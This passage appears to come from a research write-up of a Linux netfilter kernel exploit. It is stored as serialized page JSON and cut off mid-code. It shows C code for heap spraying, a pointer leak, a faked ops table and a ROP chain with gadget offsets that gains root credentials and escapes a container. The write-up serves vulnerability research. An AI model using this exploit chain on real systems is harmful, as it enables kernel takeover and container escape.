trick.",{"type":26,"tag":207,"props":110902,"children":110904},{"className":33132,"code":110903,"language":33131,"meta":8,"style":8},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[110905],{"type":26,"tag":83,"props":110906,"children":110907},{"__ignoreMap":8},[110908,110915,110923,110936,110982,111009,111020,111058,111065,111094,111124],{"type":26,"tag":217,"props":110909,"children":110910},{"class":7028,"line":7029},[110911],{"type":26,"tag":217,"props":110912,"children":110913},{"style":7048},[110914],{"type":32,"value":59466},{"type":26,"tag":217,"props":110916,"children":110917},{"class":7028,"line":6770},[110918],{"type":26,"tag":217,"props":110919,"children":110920},{"style":7048},[110921],{"type":32,"value":110922},"    // Leak nft_object ptr using table linked list\n",{"type":26,"tag":217,"props":110924,"children":110925},{"class":7028,"line":6779},[110926,110931],{"type":26,"tag":217,"props":110927,"children":110928},{"style":7048},[110929],{"type":32,"value":110930},"    fake_obj[8] = 8;",{"type":26,"tag":217,"props":110932,"children":110933},{"style":7033},[110934],{"type":32,"value":110935},"           // ulen = 8\n",{"type":26,"tag":217,"props":110937,"children":110938},{"class":7028,"line":7140},[110939,110944,110948,110952,110956,110960,110965,110969,110973,110977],{"type":26,"tag":217,"props":110940,"children":110941},{"style":7054},[110942],{"type":32,"value":110943},"    fake_obj",{"type":26,"tag":217,"props":110945,"children":110946},{"style":7048},[110947],{"type":32,"value":7127},{"type":26,"tag":217,"props":110949,"children":110950},{"style":7130},[110951],{"type":32,"value":26106},{"type":26,"tag":217,"props":110953,"children":110954},{"style":7048},[110955],{"type":32,"value":10276},{"type":26,"tag":217,"props":110957,"children":110958},{"style":7149},[110959],{"type":32,"value":267},{"type":26,"tag":217,"props":110961,"children":110962},{"style":7054},[110963],{"type":32,"value":110964}," fake_obj",{"type":26,"tag":217,"props":110966,"children":110967},{"style":7048},[110968],{"type":32,"value":7127},{"type":26,"tag":217,"props":110970,"children":110971},{"style":7130},[110972],{"type":32,"value":1883},{"type":26,"tag":217,"props":110974,"children":110975},{"style":7048},[110976],{"type":32,"value":10734},{"type":26,"tag":217,"props":110978,"children":110979},{"style":7033},[110980],{"type":32,"value":110981}," // udata = list->next\n",{"type":26,"tag":217,"props":110983,"children":110984},{"class":7028,"line":7165},[110985,110989,110993,110997,111001,111005],{"type":26,"tag":217,"props":110986,"children":110987},{"style":7064},[110988],{"type":32,"value":110598},{"type":26,"tag":217,"props":110990,"children":110991},{"style":7048},[110992],{"type":32,"value":110603},{"type":26,"tag":217,"props":110994,"children":110995},{"style":7130},[110996],{"type":32,"value":332},{"type":26,"tag":217,"props":110998,"children":110999},{"style":7048},[111000],{"type":32,"value":7599},{"type":26,"tag":217,"props":111002,"children":111003},{"style":7130},[111004],{"type":32,"value":185},{"type":26,"tag":217,"props":111006,"children":111007},{"style":7048},[111008],{"type":32,"value":7669},{"type":26,"tag":217,"props":111010,"children":111011},{"class":7028,"line":7178},[111012,111016],{"type":26,"tag":217,"props":111013,"children":111014},{"style":7064},[111015],{"type":32,"value":110627},{"type":26,"tag":217,"props":111017,"children":111018},{"style":7048},[111019],{"type":32,"value":8217},{"type":26,"tag":217,"props":111021,"children":111022},{"class":7028,"line":7389},[111023,111028,111032,111037,111041,111045,111049,111053],{"type":26,"tag":217,"props":111024,"children":111025},{"style":7064},[111026],{"type":32,"value":111027},"    udata_spray",{"type":26,"tag":217,"props":111029,"children":111030},{"style":7048},[111031],{"type":32,"value":110603},{"type":26,"tag":217,"props":111033,"children":111034},{"style":7130},[111035],{"type":32,"value":111036},"0xe8",{"type":26,"tag":217,"props":111038,"children":111039},{"style":7048},[111040],{"type":32,"value":7599},{"type":26,"tag":217,"props":111042,"children":111043},{"style":7130},[111044],{"type":32,"value":10676},{"type":26,"tag":217,"props":111046,"children":111047},{"style":7048},[111048],{"type":32,"value":7599},{"type":26,"tag":217,"props":111050,"children":111051},{"style":7130},[111052],{"type":32,"value":185},{"type":26,"tag":217,"props":111054,"children":111055},{"style":7048},[111056],{"type":32,"value":111057},", fake_obj);\n",{"type":26,"tag":217,"props":111059,"children":111060},{"class":7028,"line":7406},[111061],{"type":26,"tag":217,"props":111062,"children":111063},{"emptyLinePlaceholder":17},[111064],{"type":32,"value":7817},{"type":26,"tag":217,"props":111066,"children":111067},{"class":7028,"line":7439},[111068,111073,111077,111082,111086,111090],{"type":26,"tag":217,"props":111069,"children":111070},{"style":7064},[111071],{"type":32,"value":111072},"    get_obj",{"type":26,"tag":217,"props":111074,"children":111075},{"style":7048},[111076],{"type":32,"value":110603},{"type":26,"tag":217,"props":111078,"children":111079},{"style":7338},[111080],{"type":32,"value":111081},"\"spray-0\"",{"type":26,"tag":217,"props":111083,"children":111084},{"style":7048},[111085],{"type":32,"value":7599},{"type":26,"tag":217,"props":111087,"children":111088},{"style":7154},[111089],{"type":32,"value":231},{"type":26,"tag":217,"props":111091,"children":111092},{"style":7048},[111093],{"type":32,"value":7669},{"type":26,"tag":217,"props":111095,"children":111096},{"class":7028,"line":7487},[111097,111102,111106,111111,111115,111119],{"type":26,"tag":217,"props":111098,"children":111099},{"style":7064},[111100],{"type":32,"value":111101},"    printf",{"type":26,"tag":217,"props":111103,"children":111104},{"style":7048},[111105],{"type":32,"value":1851},{"type":26,"tag":217,"props":111107,"children":111108},{"style":7338},[111109],{"type":32,"value":111110},"\"[*] nft_object ptr: 0x%lx",{"type":26,"tag":217,"props":111112,"children":111113},{"style":8604},[111114],{"type":32,"value":8607},{"type":26,"tag":217,"props":111116,"children":111117},{"style":7338},[111118],{"type":32,"value":9007},{"type":26,"tag":217,"props":111120,"children":111121},{"style":7048},[111122],{"type":32,"value":111123},", obj_ptr);\n",{"type":26,"tag":217,"props":111125,"children":111126},{"class":7028,"line":7524},[111127],{"type":26,"tag":217,"props":111128,"children":111129},{"style":7048},[111130],{"type":32,"value":59466},{"type":26,"tag":607,"props":111132,"children":111134},{"id":111133},"hijacking-control-flow",[111135],{"type":32,"value":111136},"Hijacking control-flow",{"type":26,"tag":39,"props":111138,"children":111139},{},[111140,111142,111147,111149,111154,111156,111161,111163,111168,111170,111175,111177],{"type":32,"value":111141},"To hijack control-flow, we can use ",{"type":26,"tag":83,"props":111143,"children":111145},{"className":111144},[],[111146],{"type":32,"value":110185},{"type":32,"value":111148}," once again. The ",{"type":26,"tag":83,"props":111150,"children":111152},{"className":111151},[],[111153],{"type":32,"value":110185},{"type":32,"value":111155}," struct has an ",{"type":26,"tag":83,"props":111157,"children":111159},{"className":111158},[],[111160],{"type":32,"value":107746},{"type":32,"value":111162}," pointer to a function pointer table. We can swap the ",{"type":26,"tag":83,"props":111164,"children":111166},{"className":111165},[],[111167],{"type":32,"value":107746},{"type":32,"value":111169}," pointer with the ",{"type":26,"tag":83,"props":111171,"children":111173},{"className":111172},[],[111174],{"type":32,"value":110170},{"type":32,"value":111176}," pointer, taking control of the pointer table.\n",{"type":26,"tag":6468,"props":111178,"children":111180},{"alt":9464,"src":111179},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":26,"tag":207,"props":111182,"children":111184},{"className":33132,"code":111183,"language":33131,"meta":8,"style":8},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[111185],{"type":26,"tag":83,"props":111186,"children":111187},{"__ignoreMap":8},[111188,111195,111203,111227,111274,111310,111317,111325,111357,111365,111373,111394,111402,111410,111472,111479,111487,111495,111502,111510,111544,111552,111559,111567,111574,111582,111615,111636],{"type":26,"tag":217,"props":111189,"children":111190},{"class":7028,"line":7029},[111191],{"type":26,"tag":217,"props":111192,"children":111193},{"style":7048},[111194],{"type":32,"value":59466},{"type":26,"tag":217,"props":111196,"children":111197},{"class":7028,"line":6770},[111198],{"type":26,"tag":217,"props":111199,"children":111200},{"style":7048},[111201],{"type":32,"value":111202},"    // Fake ops\n",{"type":26,"tag":217,"props":111204,"children":111205},{"class":7028,"line":6779},[111206,111211,111215,111219,111223],{"type":26,"tag":217,"props":111207,"children":111208},{"style":7048},[111209],{"type":32,"value":111210},"    uint64_t *rop = calloc(29, ",{"type":26,"tag":217,"props":111212,"children":111213},{"style":7119},[111214],{"type":32,"value":34717},{"type":26,"tag":217,"props":111216,"children":111217},{"style":7048},[111218],{"type":32,"value":1851},{"type":26,"tag":217,"props":111220,"children":111221},{"style":7154},[111222],{"type":32,"value":15189},{"type":26,"tag":217,"props":111224,"children":111225},{"style":7048},[111226],{"type":32,"value":8697},{"type":26,"tag":217,"props":111228,"children":111229},{"class":7028,"line":7140},[111230,111235,111239,111243,111247,111251,111256,111260,111265,111269],{"type":26,"tag":217,"props":111231,"children":111232},{"style":7054},[111233],{"type":32,"value":111234},"    rop",{"type":26,"tag":217,"props":111236,"children":111237},{"style":7048},[111238],{"type":32,"value":7127},{"type":26,"tag":217,"props":111240,"children":111241},{"style":7130},[111242],{"type":32,"value":1883},{"type":26,"tag":217,"props":111244,"children":111245},{"style":7048},[111246],{"type":32,"value":10276},{"type":26,"tag":217,"props":111248,"children":111249},{"style":7149},[111250],{"type":32,"value":267},{"type":26,"tag":217,"props":111252,"children":111253},{"style":7048},[111254],{"type":32,"value":111255}," kaslr_slide ",{"type":26,"tag":217,"props":111257,"children":111258},{"style":7149},[111259],{"type":32,"value":3540},{"type":26,"tag":217,"props":111261,"children":111262},{"style":7130},[111263],{"type":32,"value":111264}," 0xffffffff81988647",{"type":26,"tag":217,"props":111266,"children":111267},{"style":7048},[111268],{"type":32,"value":10289},{"type":26,"tag":217,"props":111270,"children":111271},{"style":7033},[111272],{"type":32,"value":111273}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":26,"tag":217,"props":111275,"children":111276},{"class":7028,"line":7165},[111277,111281,111285,111289,111293,111297,111301,111305],{"type":26,"tag":217,"props":111278,"children":111279},{"style":7054},[111280],{"type":32,"value":111234},{"type":26,"tag":217,"props":111282,"children":111283},{"style":7048},[111284],{"type":32,"value":7127},{"type":26,"tag":217,"props":111286,"children":111287},{"style":7130},[111288],{"type":32,"value":332},{"type":26,"tag":217,"props":111290,"children":111291},{"style":7048},[111292],{"type":32,"value":10276},{"type":26,"tag":217,"props":111294,"children":111295},{"style":7149},[111296],{"type":32,"value":267},{"type":26,"tag":217,"props":111298,"children":111299},{"style":7048},[111300],{"type":32,"value":111255},{"type":26,"tag":217,"props":111302,"children":111303},{"style":7149},[111304],{"type":32,"value":3540},{"type":26,"tag":217,"props":111306,"children":111307},{"style":7048},[111308],{"type":32,"value":111309}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":26,"tag":217,"props":111311,"children":111312},{"class":7028,"line":7178},[111313],{"type":26,"tag":217,"props":111314,"children":111315},{"style":7048},[111316],{"type":32,"value":59466},{"type":26,"tag":217,"props":111318,"children":111319},{"class":7028,"line":7389},[111320],{"type":26,"tag":217,"props":111321,"children":111322},{"style":7048},[111323],{"type":32,"value":111324},"    // Send ROP in object udata\n",{"type":26,"tag":217,"props":111326,"children":111327},{"class":7028,"line":7406},[111328,111333,111337,111342,111347,111352],{"type":26,"tag":217,"props":111329,"children":111330},{"style":7048},[111331],{"type":32,"value":111332},"    del_obj(",{"type":26,"tag":217,"props":111334,"children":111335},{"style":7119},[111336],{"type":32,"value":109364},{"type":26,"tag":217,"props":111338,"children":111339},{"style":7048},[111340],{"type":32,"value":111341},", \"",{"type":26,"tag":217,"props":111343,"children":111344},{"style":7119},[111345],{"type":32,"value":111346},"spray",{"type":26,"tag":217,"props":111348,"children":111349},{"style":7048},[111350],{"type":32,"value":111351},"-0",{"type":26,"tag":217,"props":111353,"children":111354},{"style":7338},[111355],{"type":32,"value":111356},"\");\n",{"type":26,"tag":217,"props":111358,"children":111359},{"class":7028,"line":7439},[111360],{"type":26,"tag":217,"props":111361,"children":111362},{"style":7338},[111363],{"type":32,"value":111364},"    wait_destroyer();\n",{"type":26,"tag":217,"props":111366,"children":111367},{"class":7028,"line":7487},[111368],{"type":26,"tag":217,"props":111369,"children":111370},{"style":7338},[111371],{"type":32,"value":111372},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":26,"tag":217,"props":111374,"children":111375},{"class":7028,"line":7524},[111376,111381,111385,111390],{"type":26,"tag":217,"props":111377,"children":111378},{"style":7338},[111379],{"type":32,"value":111380},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":26,"tag":217,"props":111382,"children":111383},{"style":7154},[111384],{"type":32,"value":111346},{"type":26,"tag":217,"props":111386,"children":111387},{"style":7048},[111388],{"type":32,"value":111389},"-3",{"type":26,"tag":217,"props":111391,"children":111392},{"style":7338},[111393],{"type":32,"value":111356},{"type":26,"tag":217,"props":111395,"children":111396},{"class":7028,"line":7553},[111397],{"type":26,"tag":217,"props":111398,"children":111399},{"style":7338},[111400],{"type":32,"value":111401},"    DumpHex(fake_obj, 0xe8);\n",{"type":26,"tag":217,"props":111403,"children":111404},{"class":7028,"line":7570},[111405],{"type":26,"tag":217,"props":111406,"children":111407},{"style":7338},[111408],{"type":32,"value":111409},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":26,"tag":217,"props":111411,"children":111412},{"class":7028,"line":7621},[111413,111418,111422,111426,111430,111435,111440,111445,111449,111453,111458,111463,111467],{"type":26,"tag":217,"props":111414,"children":111415},{"style":7338},[111416],{"type":32,"value":111417},"    printf(\"",{"type":26,"tag":217,"props":111419,"children":111420},{"style":7048},[111421],{"type":32,"value":7127},{"type":26,"tag":217,"props":111423,"children":111424},{"style":7149},[111425],{"type":32,"value":10006},{"type":26,"tag":217,"props":111427,"children":111428},{"style":7048},[111429],{"type":32,"value":10276},{"type":26,"tag":217,"props":111431,"children":111432},{"style":7119},[111433],{"type":32,"value":111434},"ROP",{"type":26,"tag":217,"props":111436,"children":111437},{"style":7119},[111438],{"type":32,"value":111439}," addr",{"type":26,"tag":217,"props":111441,"children":111442},{"style":7048},[111443],{"type":32,"value":111444},": 0",{"type":26,"tag":217,"props":111446,"children":111447},{"style":7119},[111448],{"type":32,"value":2542},{"type":26,"tag":217,"props":111450,"children":111451},{"style":7048},[111452],{"type":32,"value":26395},{"type":26,"tag":217,"props":111454,"children":111455},{"style":7119},[111456],{"type":32,"value":111457},"lx",{"type":26,"tag":217,"props":111459,"children":111460},{"style":7048},[111461],{"type":32,"value":111462},"\\",{"type":26,"tag":217,"props":111464,"children":111465},{"style":7119},[111466],{"type":32,"value":2197},{"type":26,"tag":217,"props":111468,"children":111469},{"style":7338},[111470],{"type":32,"value":111471},"\", rop_addr);\n",{"type":26,"tag":217,"props":111473,"children":111474},{"class":7028,"line":7672},[111475],{"type":26,"tag":217,"props":111476,"children":111477},{"emptyLinePlaceholder":17},[111478],{"type":32,"value":7817},{"type":26,"tag":217,"props":111480,"children":111481},{"class":7028,"line":7681},[111482],{"type":26,"tag":217,"props":111483,"children":111484},{"style":7338},[111485],{"type":32,"value":111486},"    // Point to fake ops\n",{"type":26,"tag":217,"props":111488,"children":111489},{"class":7028,"line":7754},[111490],{"type":26,"tag":217,"props":111491,"children":111492},{"style":7338},[111493],{"type":32,"value":111494},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":26,"tag":217,"props":111496,"children":111497},{"class":7028,"line":7784},[111498],{"type":26,"tag":217,"props":111499,"children":111500},{"style":7338},[111501],{"type":32,"value":59466},{"type":26,"tag":217,"props":111503,"children":111504},{"class":7028,"line":7802},[111505],{"type":26,"tag":217,"props":111506,"children":111507},{"style":7338},[111508],{"type":32,"value":111509},"    // Write ROP\n",{"type":26,"tag":217,"props":111511,"children":111512},{"class":7028,"line":7811},[111513,111518,111522,111526,111530,111535,111540],{"type":26,"tag":217,"props":111514,"children":111515},{"style":7338},[111516],{"type":32,"value":111517},"    puts(\"",{"type":26,"tag":217,"props":111519,"children":111520},{"style":7048},[111521],{"type":32,"value":7127},{"type":26,"tag":217,"props":111523,"children":111524},{"style":7149},[111525],{"type":32,"value":10006},{"type":26,"tag":217,"props":111527,"children":111528},{"style":7048},[111529],{"type":32,"value":10276},{"type":26,"tag":217,"props":111531,"children":111532},{"style":7119},[111533],{"type":32,"value":111534},"Write",{"type":26,"tag":217,"props":111536,"children":111537},{"style":7119},[111538],{"type":32,"value":111539}," ROP",{"type":26,"tag":217,"props":111541,"children":111542},{"style":7338},[111543],{"type":32,"value":111356},{"type":26,"tag":217,"props":111545,"children":111546},{"class":7028,"line":7820},[111547],{"type":26,"tag":217,"props":111548,"children":111549},{"style":7338},[111550],{"type":32,"value":111551},"    deludata_spray(nl, 3, 1);\n",{"type":26,"tag":217,"props":111553,"children":111554},{"class":7028,"line":7844},[111555],{"type":26,"tag":217,"props":111556,"children":111557},{"style":7338},[111558],{"type":32,"value":111364},{"type":26,"tag":217,"props":111560,"children":111561},{"class":7028,"line":7910},[111562],{"type":26,"tag":217,"props":111563,"children":111564},{"style":7338},[111565],{"type":32,"value":111566},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":26,"tag":217,"props":111568,"children":111569},{"class":7028,"line":7954},[111570],{"type":26,"tag":217,"props":111571,"children":111572},{"emptyLinePlaceholder":17},[111573],{"type":32,"value":7817},{"type":26,"tag":217,"props":111575,"children":111576},{"class":7028,"line":7985},[111577],{"type":26,"tag":217,"props":111578,"children":111579},{"style":7338},[111580],{"type":32,"value":111581},"    // Takeover RIP\n",{"type":26,"tag":217,"props":111583,"children":111584},{"class":7028,"line":8027},[111585,111589,111593,111597,111601,111606,111611],{"type":26,"tag":217,"props":111586,"children":111587},{"style":7338},[111588],{"type":32,"value":111517},{"type":26,"tag":217,"props":111590,"children":111591},{"style":7048},[111592],{"type":32,"value":7127},{"type":26,"tag":217,"props":111594,"children":111595},{"style":7149},[111596],{"type":32,"value":10006},{"type":26,"tag":217,"props":111598,"children":111599},{"style":7048},[111600],{"type":32,"value":10276},{"type":26,"tag":217,"props":111602,"children":111603},{"style":7119},[111604],{"type":32,"value":111605},"Takeover",{"type":26,"tag":217,"props":111607,"children":111608},{"style":7119},[111609],{"type":32,"value":111610}," RIP",{"type":26,"tag":217,"props":111612,"children":111613},{"style":7338},[111614],{"type":32,"value":111356},{"type":26,"tag":217,"props":111616,"children":111617},{"class":7028,"line":8035},[111618,111623,111627,111632],{"type":26,"tag":217,"props":111619,"children":111620},{"style":7338},[111621],{"type":32,"value":111622},"    dump_obj(nl, \"",{"type":26,"tag":217,"props":111624,"children":111625},{"style":7154},[111626],{"type":32,"value":111346},{"type":26,"tag":217,"props":111628,"children":111629},{"style":7048},[111630],{"type":32,"value":111631},"-1",{"type":26,"tag":217,"props":111633,"children":111634},{"style":7338},[111635],{"type":32,"value":111356},{"type":26,"tag":217,"props":111637,"children":111638},{"class":7028,"line":8067},[111639],{"type":26,"tag":217,"props":111640,"children":111641},{"style":7338},[111642],{"type":32,"value":59466},{"type":26,"tag":607,"props":111644,"children":111646},{"id":111645},"bypass-context-switch-in-rcu-critical-section",[111647],{"type":32,"value":111648},"Bypass context switch in RCU critical-section",{"type":26,"tag":39,"props":111650,"children":111651},{},[111652,111653,111658],{"type":32,"value":475},{"type":26,"tag":83,"props":111654,"children":111656},{"className":111655},[],[111657],{"type":32,"value":110185},{"type":32,"value":111659}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":26,"tag":39,"props":111661,"children":111662},{},[111663,111665,111672,111674,111680,111682,111688],{"type":32,"value":111664},"A workaround has been discussed before by D3v17 in a ",{"type":26,"tag":163,"props":111666,"children":111669},{"href":111667,"rel":111668},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[167],[111670],{"type":32,"value":111671},"previous kernelCTF submission",{"type":32,"value":111673}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":26,"tag":83,"props":111675,"children":111677},{"className":111676},[],[111678],{"type":32,"value":111679},"task_struct",{"type":32,"value":111681}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":26,"tag":83,"props":111683,"children":111685},{"className":111684},[],[111686],{"type":32,"value":111687},"__rcu_read_unlock()",{"type":32,"value":111689}," function and exit the RCU critical-section before switching contexts.",{"type":26,"tag":207,"props":111691,"children":111693},{"className":33132,"code":111692,"language":33131,"meta":8,"style":8},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[111694],{"type":26,"tag":83,"props":111695,"children":111696},{"__ignoreMap":8},[111697,111705,111729,111736],{"type":26,"tag":217,"props":111698,"children":111699},{"class":7028,"line":7029},[111700],{"type":26,"tag":217,"props":111701,"children":111702},{"style":7033},[111703],{"type":32,"value":111704},"    // ROP stage 1\n",{"type":26,"tag":217,"props":111706,"children":111707},{"class":7028,"line":6770},[111708,111712,111717,111721,111725],{"type":26,"tag":217,"props":111709,"children":111710},{"style":7154},[111711],{"type":32,"value":9667},{"type":26,"tag":217,"props":111713,"children":111714},{"style":7048},[111715],{"type":32,"value":111716}," pos ",{"type":26,"tag":217,"props":111718,"children":111719},{"style":7149},[111720],{"type":32,"value":267},{"type":26,"tag":217,"props":111722,"children":111723},{"style":7130},[111724],{"type":32,"value":110363},{"type":26,"tag":217,"props":111726,"children":111727},{"style":7048},[111728],{"type":32,"value":7162},{"type":26,"tag":217,"props":111730,"children":111731},{"class":7028,"line":6779},[111732],{"type":26,"tag":217,"props":111733,"children":111734},{"emptyLinePlaceholder":17},[111735],{"type":32,"value":7817},{"type":26,"tag":217,"props":111737,"children":111738},{"class":7028,"line":7140},[111739,111743,111748,111752,111756,111760,111764,111768],{"type":26,"tag":217,"props":111740,"children":111741},{"style":7054},[111742],{"type":32,"value":111234},{"type":26,"tag":217,"props":111744,"children":111745},{"style":7048},[111746],{"type":32,"value":111747},"[pos",{"type":26,"tag":217,"props":111749,"children":111750},{"style":7149},[111751],{"type":32,"value":11082},{"type":26,"tag":217,"props":111753,"children":111754},{"style":7048},[111755],{"type":32,"value":10276},{"type":26,"tag":217,"props":111757,"children":111758},{"style":7149},[111759],{"type":32,"value":267},{"type":26,"tag":217,"props":111761,"children":111762},{"style":7048},[111763],{"type":32,"value":111255},{"type":26,"tag":217,"props":111765,"children":111766},{"style":7149},[111767],{"type":32,"value":3540},{"type":26,"tag":217,"props":111769,"children":111770},{"style":7048},[111771],{"type":32,"value":111772}," __RCU_READ_UNLOCK;\n",{"type":26,"tag":607,"props":111774,"children":111776},{"id":111775},"rop",[111777],{"type":32,"value":111434},{"type":26,"tag":39,"props":111779,"children":111780},{},[111781],{"type":32,"value":111782},"Most of the ROP chain to escape the container as root is business as usual:",{"type":26,"tag":2040,"props":111784,"children":111785},{},[111786,111797,111808],{"type":26,"tag":2044,"props":111787,"children":111788},{},[111789,111795],{"type":26,"tag":83,"props":111790,"children":111792},{"className":111791},[],[111793],{"type":32,"value":111794},"commit_creds(&init_cred);",{"type":32,"value":111796}," Commit root credentials to our process",{"type":26,"tag":2044,"props":111798,"children":111799},{},[111800,111806],{"type":26,"tag":83,"props":111801,"children":111803},{"className":111802},[],[111804],{"type":32,"value":111805},"task = find_task_by_vpid(1);",{"type":32,"value":111807}," Find the root process of our namespace",{"type":26,"tag":2044,"props":111809,"children":111810},{},[111811,111817],{"type":26,"tag":83,"props":111812,"children":111814},{"className":111813},[],[111815],{"type":32,"value":111816},"switch_task_namespaces(task, &init_nsproxy);",{"type":32,"value":111818}," Move it to the root namespace",{"type":26,"tag":39,"props":111820,"children":111821},{},[111822,111824,111830,111832,111837,111838,111844,111846,111852,111854,111859,111861,111867],{"type":32,"value":111823},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":26,"tag":83,"props":111825,"children":111827},{"className":111826},[],[111828],{"type":32,"value":111829},"find_task_by_vpid(1)",{"type":32,"value":111831}," passed through ",{"type":26,"tag":83,"props":111833,"children":111835},{"className":111834},[],[111836],{"type":32,"value":14235},{"type":32,"value":15169},{"type":26,"tag":83,"props":111839,"children":111841},{"className":111840},[],[111842],{"type":32,"value":111843},"rdi",{"type":32,"value":111845},". What I ended up going with was a ",{"type":26,"tag":83,"props":111847,"children":111849},{"className":111848},[],[111850],{"type":32,"value":111851},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":32,"value":111853}," gadget, that allowed me to push the ",{"type":26,"tag":83,"props":111855,"children":111857},{"className":111856},[],[111858],{"type":32,"value":14235},{"type":32,"value":111860}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":26,"tag":83,"props":111862,"children":111864},{"className":111863},[],[111865],{"type":32,"value":111866},"pop rdi; ret",{"type":32,"value":111868}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":26,"tag":2040,"props":111870,"children":111871},{},[111872,111877,111890],{"type":26,"tag":2044,"props":111873,"children":111874},{},[111875],{"type":32,"value":111876},"We push the value onto the stack (stack pointer regresses)",{"type":26,"tag":2044,"props":111878,"children":111879},{},[111880,111882,111888],{"type":32,"value":111881},"We jump to our \"trampoline\" gadget (",{"type":26,"tag":83,"props":111883,"children":111885},{"className":111884},[],[111886],{"type":32,"value":111887},"pop rdi; ret;",{"type":32,"value":111889}," location)",{"type":26,"tag":2044,"props":111891,"children":111892},{},[111893,111898],{"type":26,"tag":83,"props":111894,"children":111896},{"className":111895},[],[111897],{"type":32,"value":111866},{"type":32,"value":111899}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":26,"tag":207,"props":111901,"children":111903},{"className":33132,"code":111902,"language":33131,"meta":8,"style":8},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[111904],{"type":26,"tag":83,"props":111905,"children":111906},{"__ignoreMap":8},[111907,111914,111931,111976,112012,112048,112055,112063,112106,112137,112173,112218,112273,112318,112325,112333,112376,112412,112448],{"type":26,"tag":217,"props":111908,"children":111909},{"class":7028,"line":7029},[111910],{"type":26,"tag":217,"props":111911,"children":111912},{"style":7048},[111913],{"type":32,"value":59466},{"type":26,"tag":217,"props":111915,"children":111916},{"class":7028,"line":6770},[111917,111922,111927],{"type":26,"tag":217,"props":111918,"children":111919},{"style":7048},[111920],{"type":32,"value":111921},"    // commit_creds(&",{"type":26,"tag":217,"props":111923,"children":111924},{"style":7054},[111925],{"type":32,"value":111926},"init_cred",{"type":26,"tag":217,"props":111928,"children":111929},{"style":7048},[111930],{"type":32,"value":7669},{"type":26,"tag":217,"props":111932,"children":111933},{"class":7028,"line":6779},[111934,111938,111942,111946,111950,111954,111958,111962,111967,111971],{"type":26,"tag":217,"props":111935,"children":111936},{"style":7054},[111937],{"type":32,"value":111234},{"type":26,"tag":217,"props":111939,"children":111940},{"style":7048},[111941],{"type":32,"value":111747},{"type":26,"tag":217,"props":111943,"children":111944},{"style":7149},[111945],{"type":32,"value":11082},{"type":26,"tag":217,"props":111947,"children":111948},{"style":7048},[111949],{"type":32,"value":10276},{"type":26,"tag":217,"props":111951,"children":111952},{"style":7149},[111953],{"type":32,"value":267},{"type":26,"tag":217,"props":111955,"children":111956},{"style":7048},[111957],{"type":32,"value":111255},{"type":26,"tag":217,"props":111959,"children":111960},{"style":7149},[111961],{"type":32,"value":3540},{"type":26,"tag":217,"props":111963,"children":111964},{"style":7130},[111965],{"type":32,"value":111966}," 